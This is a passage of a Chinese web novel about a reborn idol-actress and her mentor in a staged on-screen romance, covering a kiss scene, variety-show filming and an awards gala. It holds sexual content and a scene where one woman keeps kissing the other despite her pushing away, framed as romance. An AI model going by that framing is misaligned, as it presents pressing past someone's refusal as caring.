“我给你买的泳衣。”苏寄欢没说什么，只是拿出买好的泳衣。 祝星亦打开看了看，挺漂亮的泳衣，目测尺码的确也很适合。 “谢谢。”祝星亦道谢，又问：“苏老师，你要跟我说什么？” 苏寄欢抱着臂在客厅阳台站了会儿，转过身子走向沙发旁的祝星亦，“从那天到现在，你一直很在意？” “虽然说那是工作，但……”祝星亦绷着嘴点点头，“但确实太在意了，因为我们的关系做出这样的行为会让我想很多。” 苏寄欢挑眉：“你会想到什么？” 祝星亦坐下来，苏寄欢也跟着坐下。 “你什么也不会想吗？你喜欢女人，和女人接吻，你什么也不会想吗？”祝星亦看着自己的脚尖说，声音闷闷的，像这个季节的天气，又闷，又满是疑惑，“和我接吻，你什么也不想，就只想着工作吗？” 苏寄欢往她身边坐了坐，祝星亦低头看她的动作，攥紧手指，又问：“站在我们的关系上，你什么都不想的吗？你没有想过我也许没那么敬业吗？你没有想过我会多想吗？” 苏寄欢没有回答那些问题，反问：“那……你想了什么？我吻你的时候，你想了什么？” 祝星亦忽然紧张起来。 她当时想了什么？她想的是……她很喜欢苏寄欢，她想要苏寄欢的吻、拥抱、缠绵。 欣喜、快乐、愧疚，还有一丝丝满足。 想要永远和苏寄欢这样亲密，想要不在乎[工作］，想要不只是[工作］。 祝星亦低着头，苏寄欢又问：“你当时在想什么？你现在还会那么想吗？你可以说出来，毫无保留也好，遮遮掩掩也罢，你说出来，我听着。” 苏寄欢等着祝星亦的答案。 好的答案还是坏的答案都行，否则她也会忐忑不安。 她佯装那是工作，怎么小狐狸真的也把那个吻当工作了。 是她做的还不够吗？苏寄欢想，应该是的。 但好在她真的很有耐心。 她静静地望着祝星亦，等待答案。 祝星亦却无法回答了。 她当时喜欢苏寄欢，现在也喜欢苏寄欢。 可是喜欢二字怎么开口？ 喜欢是最难开口的。 她喜欢上了自己的老师，喜欢上了自己从始至终都很尊敬的人，喜欢上了自己利用的人，喜欢上了最不该喜欢的人。 说好的这一世只为上位，她还是喜欢上了饲养自己的血包。 吸血鬼喜欢自己的血包，这也太可笑了。 怎能如此？怎能再次喜欢一个高高在上的上位者？难道上辈子的教训还不够吗？ 卑微的下位者被上位者丢弃、杀害…… 这种教训还不够吗？ 她一直都知道这些，所以和苏寄欢尽力保持着距离，只想让两人之间存在绝对的利益。只是……她没有办法，难以控制地喜欢上了苏寄欢。 她会憎恨苏寄欢，为什么苏寄欢要对她那么好，为什么要编织一个美好的梦给她。 好恨苏寄欢，好恨啊，好恨啊。 她宁可苏寄欢只是一个黑心商人，宁可苏寄欢无恶不作，可苏寄欢是真心实意对她好的好人。 她跟苏寄欢闹过，撒泼过，反正所有招式她都试了一遍，苏寄欢却照单全收，始终对她包容、温和。 她不断闯祸不断索取不断亮出自己的刺，苏寄欢不断给她擦屁股不断给予不断拥抱她。 为什么呢？为什么啊？ 她根本想不明白，为什么苏寄欢要这样对她。 苏寄欢就应该像晏瑾年一样否定她、贬低她、看不起她、伤害她。 苏寄欢就应该骂她不要脸、不知感恩、不配拥有这些。 可苏寄欢偏偏尊重她、理解她、爱护她。 谆谆教诲也好，无限包容也罢，总之，她获得了上辈子无法拥有的一切。 她有时候会梦到自己反复从那个天台跌落，一次次掉下来，一次次砸向地面，一次次倒在血泊里，无法呼救，无法呼吸。 那种痛苦时刻提醒她这辈子要怎么活，也提醒她过去是个超级大傻瓜。 但凡她前世像今生这么干脆利落，她也不会落得那个下场。 这辈子多好啊，做了个自私自利的坏蛋，走到哪坏到哪，狐假虎威，狗仗人势。 可……可自己这么个坏蛋，自己这么个糟糕的人，也能被苏寄欢这么珍惜对待吗？ 邪恶阴暗的人，也能被太阳温暖吗？ 苏寄欢的光一次次刺痛了她，她抗拒不了这些温暖，她便一次一次警告自己不要相信这些，不要沉溺这些，可……可她做不到。 她喜欢苏寄欢，她真的很喜欢苏寄欢。 她又好恨苏寄欢，好恨她，好恨她，好恨她。 明明自己根本不值得，明明自己永远在亏欠，明明自己配不上这样好的人的关心、照顾，明明……明明…… 为什么呢？为什么？ 她恶毒地把苏寄欢视为坏人，然后在无数个瞬间假装讨厌这个坏人，但她又在无数个瞬间感到幸福。 她想做世界上最幸福的人，于是她真的获得了幸福。有苏寄欢在，有苏寄欢在的每一个瞬间，她都感到幸福。 她很幸福。 她很喜欢苏寄欢，很喜欢很喜欢。 也很讨厌很讨厌苏寄欢。 “我……我想的就是……”祝星亦咬咬牙，偏过头不看苏寄欢，“就是很尴尬。我觉得很尴尬，我到现在也很尴尬。” 苏寄欢眼神黯淡了许多，她轻不可闻地叹了口气，点头说：“尴尬是因为我们第一次接吻，你不习惯。一件事第一次做会很尴尬，做得多了就娴熟了，就不会尴尬了。” 祝星亦心想这个回答真是好玩，“这种事只能出现一次，我……” “你想知道我想的是什么吗？”苏寄欢打断她。 祝星亦抬头对上苏寄欢的眼，她确实想知道苏寄欢想了什么，“是……什么？” 苏寄欢忽然抬她的下巴吻了上去，湿润的舌勾了下唇，温热无比。 “唔……”祝星亦手忙脚乱地去推苏寄欢，“苏老师！你！” 苏寄欢抓着她的手腕，望着她羞红的脸，轻松地笑了，“我记得你今天还说你吃亏了？” 被突如其来的吻震惊住的祝星亦脑子有点乱，“什么？什么亏？” 苏寄欢脱掉自己碍事的薄外套，显露出自己的泳衣，忽然把祝星亦的手按在自己的36D上。 祝星亦僵住身子。 饱满，绵软。 这……她抓住了什么？ 祝星亦涨红着脸要收回手，怎么也收不回，她只好拿手挡自己的脸：“苏老师！你放手！你别这样！” 苏寄欢神色平静，“如果你觉得这件事很尴尬，那就多做几次。习惯了你就会觉得很自然，不会再有这种羞耻感。星星，我就在这里，我和你接过吻，也和你很亲密过，你可以摸得到我，我也不是什么你亵渎不了的神仙。” 祝星亦颤抖着身子，什么也听不进去，“苏老师……放手，你别这样。” 看她这副模样，苏寄欢有些无力，但还是抱着希望问：“所以，即便这样，你还是觉得和我接吻很羞耻吗？觉得……很尴尬，很不正确？” 祝星亦从指缝里看苏寄欢，苏寄欢的表情有些失落。 她为什么会失落呢？祝星亦疑惑。 祝星亦继续捂着脸，回答：“和别人接吻本就尴尬，本就不正确。” “那当初你吻晏瑾年，就不尴尬了？就正确了？” “那是因为晏瑾年是我……”祝星亦说着，止住了。 [前任］二字卡在嘴边。 祝星亦缩着脖子，选择闭嘴。 苏寄欢知道祝星亦曾经喜欢晏瑾年才去吻那个女人，这样问出来会让她看起来狼狈，她点点头，放下祝星亦的手。 沉默席卷了屋子。 祝星亦有点不甘心，继续问：“所以，苏老师，你当时在想什么？” 苏寄欢失神地看着前方，喃喃：“我在想……” 祝星亦等待苏寄欢的答案。 苏寄欢偏过头，继续喃喃：“我在想……” 她望着迫切想知道答案的祝星亦，抬手揽过祝星亦纤细的腰。用力一拽，祝星亦便撞入了她的怀中。 还未等祝星亦有所反应，苏寄欢便又覆上了她的唇。 祝星亦瞪大了双眼，双手本能地推搡着苏寄欢，挣扎间，她的手慌乱地抓到了苏寄欢的36D。 她抓得太用力，好像是把36D当作支撑点，抓得苏寄欢疼得皱眉。不过苏寄欢丝毫没有放松对她的钳制，头一歪，加深了这个吻。 片刻后，苏寄欢抬起头看着怀中满脸羞愤的祝星亦，低声说：“我还是觉得让你不要在意我们接吻比较重要。” 祝星亦喘着粗气，双眼朦胧，手却依旧紧紧抓着苏寄欢的胸，身体不断抖着。 见状，苏寄欢放缓了声音：“星星，来，别急，慢慢呼吸，呼、吸、呼、吸。” 祝星亦听着她的引导，下意识地调整着呼吸。 见她呼吸渐渐平稳，苏寄欢夸赞：“好，好星星，很乖。” 小狐狸涨红着脸，身子也尽是绯色，望着这具美丽的身子和动情的脸庞，苏寄欢眸光渐暗，手臂一紧，抱着怀里的人再次吻了上去，双唇辗转厮磨间，她轻声问：“还是不习惯吗？” 祝星亦被吻得缺氧，大脑一片空白，根本无法回答。 “如果你始终学不会把我当普通人看，我会吻到你学会为止。身为你的老师，这件事我必须做到。”苏寄欢看着怀里的人，俯身继续吻去。 她没有停下的意思，持续地进攻着祝星亦的唇齿。直到怀里的人放弃抵抗，条件反射地回应她。 口中的舌抵着炽热缠绵了番，吮着清甜，苏寄欢松开些许，“很好，你对这件事有些娴熟了，现在我教你不要在意我们的吻。” 苏寄欢不给祝星亦反应的时间，搂紧她的身子继续吻着。直到祝星亦的身子往她的身上贴，她才放缓动作，一手扶着祝星亦的腰背轻轻安抚。 “好，就是这样，自然一点，星星真棒。”苏寄欢咬了咬祝星亦的小舌，埋头继续吻。 不知吻了多久，苏寄欢终于放开这只已经要晕了的小狐狸。她埋在小狐狸雪白的脖颈处问：“还在意吗？如果你还在意，我们就继续。” 祝星亦根本听不清苏寄欢在说什么，无力地摇了摇头，气喘吁吁，“不……哈……不……不在意了。” 听后，苏寄欢彻底放开她。 祝星亦软绵绵地歪在沙发上，双手抱着头，眼中满是迷茫与羞窘。 苏寄欢则一脸淡定地坐在沙发上跷起二郎腿，拿出手机看了会儿说：“你先缓一缓，我喊允声来收拾东西，你等下也收拾东西准备准备。” “知……知道了。” “确定不在意了？”苏寄欢问。 热气冲击祝星亦的脑袋，她咬着牙点头：“不在意了。” “嗯，那就好。” 等金允声进屋子，祝星亦慌乱地整了下自己的罩衫，像野猪下山般夺门而出。 一阵风掀起金允声的发丝，金允声转头看了眼祝星亦的身影，问：“老板？她怎么了？” “她吃饱了。”苏寄欢揉揉自己有点痛的脖子。 这个姿势不怎么好啊，下次要换个。 /// 达尼策划的团综《盛夏有星月》于泽城的泽州山里开启录制之旅。出发前，韩芸特意将苏寄欢与祝星亦拉至一旁，神色严肃地叮嘱：“镜头前都注意着点儿。” 不过，她对这两人倒也颇为放心，毕竟她俩卖起cp来可比其他人的自然许多。 韩芸心里头总归还是有些好奇，私下里专程找苏芙询问：“苏芙，她俩到底有没有在谈恋爱？” 苏芙轻轻揉了揉鼻子，“啊？不造啊？没人跟我说，不过有些传言倒是真的。” 韩芸一听，耳朵立刻竖了起来，不是造谣，难不成……她们该做的都已经做了？ “不会是真情侣在这卖cp吧？”韩芸彻底陷入了迷茫之中，“不会吧，应该不会吧？” 可是苏寄欢这个从来没有卖过cp的人把这个cp卖这么好…… “不会吧？”韩芸挠挠头。 团综录制时长为两周，祝星亦看着太过淡定的苏寄欢，脑海中不由自主地浮现出那两次亲吻的画面。 “不行不行，绝对不能再想了。”祝星亦深吸一口气，在心中告诫自己要敬业，她要继续好好卖姬，为剧集持续贡献热度。 “呼、吸、呼、吸。”她努力调整着呼吸，可脑海里却又浮现出苏寄欢此前要她调整呼吸的场景。 “真没出息！不就是一个女人嘛，祝星亦，你可是要成就大事的人，怎么能老是在这胡思乱想？！”祝星亦狠狠地掐了自己一把，强迫自己停止乱想。 抵达山里的民宿后，需要拍摄一组综艺宣传照。 齐漫姝蹦蹦跳跳地来到祝星亦身边，凑近了问：“大星，你和你的苏老师到底有没有谈恋爱？怎么感觉你俩进程不太对呢？” 祝星亦撇嘴：“我要是谈了，肯定第一时间就告诉你。” 齐漫姝挑了挑眉，打趣道：“你俩这卖着卖着，可别一不小心就弄假成真了。” 祝星亦眼神闪烁了一下，反问：“成真了难道不行吗？” 齐漫姝眼睛一亮，追问：“你心里其实是盼着成真的吧？” 祝星亦沉默不语。 齐漫姝见状，不依不饶地继续说：“怎么样？亵渎高岭之花的感觉是不是特别爽？把那个高高在上的人从神坛上拉下来，肆意地‘糟蹋’，你有没有那种超级过瘾的成就感？” 祝星亦听了，急忙摇头，辩解道：“糟蹋？拉下神坛？我可没有这样做过，我从来都没有过这样的想法，我只是……” 她低下头，脸上泛起一抹红晕，陷入了回忆之中。 当时接吻的时候她在想什么呢？其实她也只是太渴望苏寄欢了，无论是亲吻还是拥抱，她内心深处真的非常渴望苏寄欢的一切。 出乎意料的是，苏寄欢竟然也愿意给予她回应。想到这里，祝星亦心中突然涌起一丝遗憾，如果卖cp的对象不是她，苏寄欢肯定也会对别人这样。 齐漫姝看着祝星亦变幻莫测的表情，双手抱胸，弯腰靠近祝星亦，轻声说道：“你就别想了，高高在上的神摆在那，可不就是用来让你‘糟蹋’的？神嘛，又不是让你对着她朝拜的，不糟蹋多可惜？” 她直起身子，目光紧紧盯着祝星亦，问道：“大星，你就老实告诉我，你想不想糟蹋她？糟蹋了就能得到，得到了就能想做什么就做什么。” 祝星亦咬了咬嘴唇，犹豫片刻后，小声说道：“我……” 齐漫姝弯下腰，拍了拍祝星亦的肩膀，激动地说道：“想得到就勇敢上啊，别被身份之类的东西给束缚住了。你难道不想听你苏老师迷人的喘息声吗？你难道不想看到她在你身下泪眼婆娑地求你再快一点吗？” 祝星亦瞬间瞪大了眼睛，满脸惊恐地喊道：“啊？我……我要当1？！” 苏……苏寄欢要被她…… 完……完全想不出来。祝星亦想到前几次的亲密接触，她完全处于被动一方。面对苏寄欢的主动和攻势，她根本没有还手之力。 何止没有还手之力，简直是被苏寄欢单方面压制得死死的。 齐漫姝用力拍了一下桌子，恨铁不成钢地说道：“什么鬼？！你不会是想当0吧？！你怎么能这么没出息啊！你掌握不了这段关系，你就无法当上位者，你当下位者不觉得很丢人吗？” “我……”祝星亦抱着头趴在桌子上叹气，“可……我不行。” “你不试试怎么知道不行？”齐漫姝凑在祝星亦耳边如恶魔般低语：“把她扑倒，看她在你身下喘。息，听她对你说，星星，快点，再快点。” 祝星亦坐起身子抠着手指头，看着正在摆姿势拍照的苏寄欢，耳朵越来越红。 “可是我们的关系到那一步还要很远，而且，她也没有喜欢我的意思。”祝星亦低下头，没什么底气。 齐漫姝的嘴撅成小茶壶：“那可不见得，我觉得她你好感度很高很高，已经高到……” 看祝星亦这副油盐不进的模样，她觉得讲这些没用，只好说：“你慢慢追不就行了？你还不自信？你诶！你要什么有什么，这么漂亮诶！看你这小翘臀，看这小脸蛋，看这修长的手指……” 齐漫姝伸出手和祝星亦比了下，祝星亦的手指纤细，但是手很小。 祝星亦马上着急了，伸着手说：“我我，我手小，肯定会被嫌弃的。我我，我没有竞争力。但是但是，但是我就小了一丢丢，其实也还好是不是？” 齐漫姝也觉得这不算什么，肯定道：“对，咱要自信，你这个长度也可以抠到，可以的。” 祝星亦信了，忙不迭点头。 “勇敢嘛！上就是了！展现你的超A实力。”齐漫姝又凑到祝星亦耳边说：“勇敢干她，干到她哭红了眼，干到她流干了水……” 听着齐漫姝画的饼，祝星亦想入非非。 “在聊什么？”苏寄欢走过来坐下。 祝星亦双眼迷离：“在讲，流水了……” 说完，祝星亦忽然惊醒。 苏寄欢怎么过来了！ “没……没什么！”祝星亦赶忙摆手，“真没什么。” “流水了？”苏寄欢神色未起一丝波澜，抬手撩起垂落在脸颊边的一缕发丝，语调平稳地问：“谁流水了？” 说完她的脑袋一歪，视线先是从祝星亦的双腿处开始攀升，沿着纤细的腰缓缓而上，掠过修长的脖颈，最终停留在祝星亦的眼睛上。 第78章 她塞了进去 祝星亦被她的注视弄得心慌意乱，猛地并拢膝盖，匆忙拉起齐漫姝说：“苏……呃苏老师，我们要去拍照了，失陪！” 祝星亦狼狈逃开。 苏寄欢安静坐着，过了会儿，拿起祝星亦的杯子，对着唇印喝了口水。 “我说真的，你不掌握这段关系，你做下位者，会很痛苦的。”拍着照，齐漫姝跟祝星亦耳语。 祝星亦换了个姿势，目光透着坚定：“我当然知道不能做下位者，谁愿意处于被动地位啊，我看文都不看主受的。” 齐漫姝眉梢一挑，语气带着几分怂恿：“这不就好了吗？你喜欢她就勇敢出击，千万不要被动。干她，狠狠干。” “行，我干她！”祝星亦握拳呐喊，出击的架势十足。 “好。”苏寄欢安排好活动范围，拍了下手，“那就先这样，分头行动。” 今日任务是去山上采些野果，以及找一些柴火，好完成今天的晚餐食材。泽州山上也有一些野生草药，也可以采摘一些到中药店里卖了换取食材。 祝星亦和苏寄欢一队，齐漫姝和队友离开前，疯狂跟祝星亦使眼色。祝星亦接收到信号，比了个OK的手势。 上山采野果野菜和草药，祝星亦在行。 她背着箩筐跟苏寄欢介绍着：“苏老师，你看，这个叫红醋栗，可以吃，还有这个毛樱桃，也能吃，你尝尝。” 说着，她摘下几颗递给苏寄欢。 苏寄欢接过放入口中，轻轻咀嚼，酸甜的滋味在舌尖散开：“酸酸甜甜，味道很不错。” “你都认识？”苏寄欢跟着祝星亦采果子，眼中满是好奇与钦佩，“这么厉害？” “我家在山里嘛，多多少少都认识。”祝星亦放下箩筐，踮脚去够果子，用力一拽，拽下来几颗野果，“苏老师，你今天就跟着我，保准你能吃饱。” 苏寄欢往嘴里填了一颗果子，站在小狐狸身旁默默看着。 小狐狸扎着双麻花辫，花边领衬衫，牛仔长裤，头上戴了顶草帽。瓷白的手臂伸到灌木丛中，手指扭动着便把果子拽了下来。 看起来单薄却有力的身子又往草丛里钻了钻，琥珀色眼睛紧盯着可以采摘的果子认真看。明媚的侧颜藏在草帽的阴影下，像浓烈的葡萄酒从天而降，落在她的掌心掷地有声。 “苏老师，你这个也尝尝。”小狐狸捧着一捧果子递给苏寄欢。 苏寄欢嗯了一声接下，又尝了尝，甜甜的。 小狐狸擦了下脸上的汗珠，拿着箩筐往前走了走。 苏寄欢快步跟上，又听到小狐狸念叨：“巧了巧了，是金银花！回去我们可以晒一晒泡茶喝，清热解毒。” 一旁生着一大片金银花，苏寄欢捏起一朵金银花看，开得正好。 “不过开得太过了，药效可能不是很好，只有一点点没有开的。”小狐狸嘟囔着，眉头微微皱起。 “开和不开影响药效吗？”苏寄欢偏头问，眼里带着疑惑。 小狐狸点头，耐心解释：“当然啦，因为金银花的有效成分主要在花苞里，盛开之后，有些成分就会有所散失，所以药用的金银花一般是未开放的花蕾。” 听着小狐狸的解释，苏寄欢完全没注意到她到底说了什么，只看到小狐狸嘴在动，以及小狐狸说完后脸上出现的笑容。 苏寄欢嗅着开盛的金银花，再抬头，小狐狸忽然捧起她的脸。 祝星亦踮脚，把金银花别到苏寄欢耳边。 “苏老师，很好看。”祝星亦退了一步看了看，背着手眯眼笑说，眼睛里闪烁着光芒。 苏寄欢摸了摸那朵花，颔首道：“谢谢。” yes！A上去了！祝星亦转过身子给自己加油呐喊，心中满是小得意。 她弯腰捡起箩筐，刚起身，腰忽然被搂住，柚子花香罩住了她，她侧过身子，抬眸看到笑着的苏寄欢。 “谢谢你的花，我也送你一朵。”苏寄欢另一手拿起一朵花，指尖顺着祝星亦的脖颈轻轻滑动，似有如无的触感让祝星亦微微战栗。 最后苏寄欢中指勾起领口，把花丢了进去。 那朵金银花就这样落进祝星亦的胸前，卡在乳。沟处。 祝星亦脸忽然涨红起来，“苏老师，你……” 苏寄欢松开祝星亦的腰，帮忙拎起箩筐，往前走了几步，指着一堆野果说：“我知道这个，野树莓。” 她盯着正准备把花从衣领里掏出来的祝星亦哼笑一声：“野树莓可以吃吗？” 祝星亦咬着牙说：“可以，吃吧。” 晚上回去，齐漫姝询问战果，祝星亦整理着采来的野果说A上去了。齐漫姝给祝星亦比个大拇指，问她什么时候能把苏寄欢拿下。 “再说吧。”祝星亦对这个不太感兴趣。 她没有心思管这些，拿下还是不拿下，总觉得是白日作梦。想到苏寄欢这段时间因为工作而和她亲密互动，她一阵阵后怕。 现在这么亲密，她真的会陷进去难以自拔。如果哪天卖姬结束了，苏寄欢就把一切收回。 苏寄欢把这些行为当做工作，自然能随时抽身，但自己…… 她轻而易举地陷进去了，怎么可能会随随便便抽身？ 她与苏寄欢，本就不可能，还要因为工作的氛围生出许多幻想…… 她往嘴里填了一颗树莓，酸酸的。 “月底我们要一起去Pans盛宴了，你是不是第一次去？”齐漫姝问。 “是啊，第一次去。”祝星亦回答。 艺人去Pans盛宴都是有门槛的，前世祝星亦也只在演完《祈星海》后才被邀请过去，今生名气攀升得快，Pans主办方诚挚邀请她参加宴会。 “到时候会见到好多明星呢。”齐漫姝说。 祝星亦疑惑：“见明星很奇怪吗？我们不就是明星？” “可是有些人不是想见就能见的，到时候会有很多很多业内的大腕儿，我平时哪里有机会见那些人。”齐漫姝说，“不同圈子都是有门槛的，你跟着苏小姐见过的人，我都没见过。” 祝星亦拉过椅子坐下：“如果我没有苏老师，我也见不到那些人。我自己没什么本事，还是要靠别人。” “有得靠就不错了，你公司又不理你，我们这些人也是靠公司。公司大才能吃上饭，公司小也是没人搭理。” “你觉得我这样做对吗？”祝星亦又捏了一颗莓果，“靠别人往上走，借别人的力爬上去……” “不借力怎么走？”齐漫姝纠正她，“就算你走个路，也是要有人教你才能走，对吧？而且咱这圈子，真没点背景怎么上去啊。比你会爬的人多了去了，你还在这羞耻上了。” 祝星亦揉揉自己的头，也是，她想这些干什么？她重生一次就是要不顾一切往上爬，还在意这些干什么？ 虽说艺域已经把重心转移到新男团身上，但Shinyfive有她在，热度总还是有的。前段时间她还帮队友争取了代言，怎么说都贡献了自己的力量。 而且她名气越来越大，有些小综艺会找队友们上去做客，没有舞台和专辑的日子，她们也没缺工作。 这就够了。Shinyfive已经熬过前世的解散日期了，接下来顺顺利利解散就行。 只是想到和苏寄欢的关系，她便有点别扭。 等Shinyfive解散后，她会付天价解约费和风荇解约，然后带着Shinyfive签约[苏盛］。到那时她就可以成为苏寄欢的员工，为苏寄欢赚钱。 她们只是单纯的利益交换，也难怪苏寄欢会那么淡定应对一切。* 接吻也好，亲密接触也好，逗。弄也好，都是出自利益。 她们的关系本就不纯粹，何必要探究苏寄欢到底在想什么。 只是……只是…… “你想什么呢？怎么这么不开心？”齐漫姝凑过来问。 “没有。”祝星亦摇摇头，“在想那天穿什么衣服。” “你别忘记随时跟我汇报你的战绩，你俩结婚我必坐主桌！” 祝星亦一脸黑线，“还结婚呢……你想太多了吧。” 想着苏寄欢的事，祝星亦往齐漫姝身边坐坐，问：“老漫，你为什么会当明星呢？” “从小就喜欢表演啊。”齐漫姝回答，“我妈妈看我喜欢表演，打小就给我报了很多表演课。你别看我不火，我小时候拍过广告，上过杂志，还当过童模呢。” 果然是东霄大小姐。祝星亦感叹。 齐漫姝问：“那你呢？你为什么想要当明星呢？你为什么要参加那个选秀呢？” 祝星亦揉揉眼，说：“我是因为我不知道等我毕业了我能做什么，看有海选，就抱着试一试的心态报名了。报完名就觉得，当明星也是一条出路。不然不做明星，我可能就去当某个舞蹈机构的老师了。” “当舞蹈老师也行啊，你不是跳舞得过奖吗？一节课肯定不少钱。” “是啊，但我那时候觉得，我努力了那么久，我妈妈为我付出那么多，我总不能就当个舞蹈老师吧。”祝星亦仰头看了看窗外，“我太自负了，我觉得我现在所拥有的，配不上我的努力和实力。” 太阳即将落入地平线，朱雀羽毛拂过坍塌在山谷的云，澄明的光缝合荒芜的天空，黄昏已临，黑夜即将来袭。 琥珀色的眼珠盛满大地的颜色，她塌下肩膀继续开口：“那时候我觉得小小的麓舞装不下我，可我离开麓舞又无处可去。我渴望我可以站在更大的舞台上，但我真的站上去后，才知道我有多渺小。天下英雌，如过江之鲫，我孤身来到这里，我算得了什么。” “即便找到了[人生的那颗星星］，我也只是群星中最渺小的一颗。其实我并不知道一个人应该给自己定下什么人生终极目标，小时候我的目标是好好学习，考个好大学，考上大学后的目标是找个好工作。但找到工作之后呢？又该去做什么？” 齐漫姝蹙眉道：“你不是想当影后吗？你的目标就是好好演戏，拿奖呀。” “当影后……”祝星亦笑着点头，“是啊，我的终极目标就是爬上去，我觉得我现在就是一头追着胡萝卜的驴，为了爬上去不停地跑啊跑啊跑啊。累死也好，被骂死也好，疯狂地舔别人也好，只要能当影后，只要可以爬上去，没有什么是不可以失去的。” 她有些失落地垂下头，似乎当影后也不是最好的出路。 齐漫姝看她不对劲，担忧道：“你怎么了？” 祝星亦沉默了许久，问：“可是……这就是我人生的意义吗？为了那个目标不管不顾地往前走，去当个自私鬼当个无情的吸血鬼，攀附别人，利用别人，这就是我……重生的意义吗？” 齐漫姝被这个问题问住了，“大星，你不要讲这么深奥的东西。[什么是人生的意义］，是最难回答的问题。即便你问我，问别人，也给不了你答案。而且，人生，本来就没有答案。” “是啊，人生本来就没有答案。人生，到处都是遗憾。”一股火气从祝星亦身体里腾升出来，她往嘴里塞了颗果子，给自己扇扇风，“但我的人生，到底该是什么样的呢？” 重生后坚定的目标在堆积如山的问题上忽然摇摇欲坠。 /// Pans的流程涵盖颁奖礼和晚宴，祝星亦本以为只是来凑个宴会和红毯的热闹，未曾料到居然还有奖项可拿。 在后台准备之时，白澜告知祝星亦：“主办方那边跟我说的，你拿年度红人稳了。” “红人啊……”祝星亦微微颔首，心中已然明了。 她确实有足够的实力斩获年度红人奖，《寄明月》播出前后，她与苏寄欢的CP热度在全网呈燎原之势。 苏寄欢固然热度颇高，可祝星亦作为新人演员兼Shinyfive的成员，频繁亮相于诸多火爆综艺，热度如火箭般蹿升，甚至超越了苏寄欢。 这可真是应了那句“背靠大树好乘凉，大花带小花，小花顶呱呱”。 “提前恭喜你，星亦。”白澜一边说着，一边仔细地查看祝星亦的妆造。 祝星亦身着冰蓝色的挂脖礼服，礼服紧紧贴合着她的身躯，将她光滑白皙的后背展露无遗。手臂上繁琐的挽花袖随着她的动作轻轻晃动，长长的束带垂落，宛如森林里的仙子。脚下穿着银白色绑带高跟鞋，卷长的秀发随意地披散在肩头，丝毫掩盖不住明艳动人的五官。 “等下你走红毯千万不要紧张，走过去就行了。”白澜轻声叮嘱道。 “我不紧张。”祝星亦神色淡然，嘴角勾起一抹浅弧。 前世她已然走过类似的红毯，在这种盛大场合之中，她甚少怯场。 她的出场原本安排在一位女星之后，在等待期间，白澜神色慌张地匆匆赶来，“星亦，你的出场有变动。” 出场顺序有变动很正常，祝星亦只是轻轻抬眸，语气平静：“是吗？我排到哪里了？” “跟我一起。”苏寄欢迈步走来。 她身着水蓝色碎钻鱼尾裙，手臂上垂落的一层薄纱随着她的走动轻轻飘动，花边裙摆摇曳生姿，似绮丽的鱼尾在水中游弋。 祝星亦握着手机缓缓起身，目光静静地落在苏寄欢身上，她打量了一番苏寄欢，两人礼服的颜色极为相近。 “马上就到我了。”苏寄欢伸出手，脑袋歪向一侧，“一起走，来。” 祝星亦下意识地看了白澜一眼，白澜连忙点头道：“对，她们那边要你们两个人一起走。” “但我还没见过这种红毯两个人一起走。”祝星亦眼中满是疑惑，“这次……” 她的话还未说完，苏寄欢便牵住了她的手，柔软而温暖的掌包裹着祝星亦的手，“我也没见过，不过主办方要做什么就做什么好了。” “苏小姐，该你们了！”工作人员匆匆赶来提醒。 “好。”苏寄欢微微用力，握紧祝星亦的手，“该我们了，星星。” 走出后台，两人站在了星光熠熠的红毯之上。苏寄欢紧紧握着祝星亦的手，朝着签名板处稳步走去，祝星亦亦步亦趋地跟着她。 主持人站在签名板处，看到两人携手走来不禁挑眉。 冷冽成熟的影后牵着明艳动人的爱豆的手，她发出两声哦呼，拍照的媒体也瞬间像是被点燃了一般，尖叫声此起彼伏。 主持人笑着说：“迎面走来的是我们的明月和阿星，欢迎苏寄欢和祝星亦～” “妻妻来了！妻妻来了！” “迎面走来的是[月星百万］哦哈哈哈！” “牵手了牵手了！好般配的妻妻！好般配啊！” 宴会厅那处，晏瑾年走完红毯便站在人群中与人闲聊起来。她身姿笔挺，一身抹胸黑裙。 她对面是东利的郑睿雯，郑睿雯作为东利集团——中外合资的大集团代表，与晏瑾年所在的晏氏集团关系交好。 郑睿雯端起酒杯，轻轻晃动着里面的红酒，朝晏瑾年递去一个询问的眼神，碰杯后问：“瑾年，《外乡人》的剧本有信心吗？” 晏瑾年嘴角勾起一抹自信的弧度，眼中却透着一丝不屑，她不紧不慢地回应：“信心不是我给的，是对比出来的。” 郑睿雯微微点头，又有些担忧地说：“跟苏寄欢争你倒是没输过，不过……这是ilmeth的剧本，ilmeth和你们……” 晏瑾年轻抿一口酒，酒杯边缘在灯光下映出她线条分明的唇，放下酒杯时，她才开口：“姓林的只看钱，钱给够了，这剧本自然就是我的了。” “祝你成功。”郑睿雯说，顿了顿，像是想起什么，又接着说，“对了，璟霖她前段时间回国了，你……” 晏瑾年原本放松的神情瞬间变得冷峻，她眉头紧皱，眼里满是不悦：“我没见到她。” 郑睿雯知道晏瑾年不喜欢晏璟霖，还是轻声劝道：“我知道你不想知道她的消息，但是，瑾年，她毕竟是你姐姐，晏氏未来也是她的，你若……” 晏瑾年冷哼一声：“她说是她的，就真是她的了？” 说着，她的视线瞟向不远处正和祝星亦谈笑风生的苏寄欢，咬着牙说，“这才哪到哪儿？这么早就开香槟？” 郑睿雯看着她，语重心长地说：“你也不能意气用事，你母亲的态度你也知道，你若是愿意跟璟霖示好，以后说不定……” 晏瑾年深吸一口气，像是在压抑着内心的怒火，她提高了些音量：“不要再提她了，她若是想要我示好，就把股份分我一半，而不是要我带着[晏影］奔波在这圈子里。” 她攥紧了拳头，又缓缓松开，“她轻轻松松不管不顾就能拿出点成绩讨妈妈欢心，我还要在这圈子里斗来斗去才能让我妈妈满意，任谁也咽不下这口气。” 想到《辞旧赋》败北，晏瑾年的眼中涌起不甘的怒火，“但我是不会输的，不会输给苏寄欢，也不会输给晏璟霖。” 落座后不久就开始颁奖，祝星亦拿了奖便寻找熟人的身影。 锁定齐漫姝后，祝星亦跟坐在自己旁边的苏寄欢说：“苏老师，我等下去找老漫她们玩。” 苏寄欢为台上领奖的人鼓完掌，握紧手里的奖杯。这个奖杯是祝星亦的，祝星亦领完就让她帮忙拿着。 苏寄欢蹙眉道：“那等下是不一起用餐了吗？” “我去找老漫吃。” “什么时候回来？晚宴结束还要跟她一起玩吗？” “到时候你喊我回去就好了。”祝星亦收回目光，又看到了程偌菲，“偌菲！” 祝星亦跟程偌菲打了招呼，程偌菲举手挥了挥。 “星星！”后座的谭若瑶也跟着挥手。 “瑶瑶！”祝星亦挥手回应着。 苏寄欢正要嘱咐什么，刚从台上走下来的戴雨桐跟祝星亦打招呼，“嗨，星星！” 祝星亦摆摆手，“雨桐，恭喜你啊！” 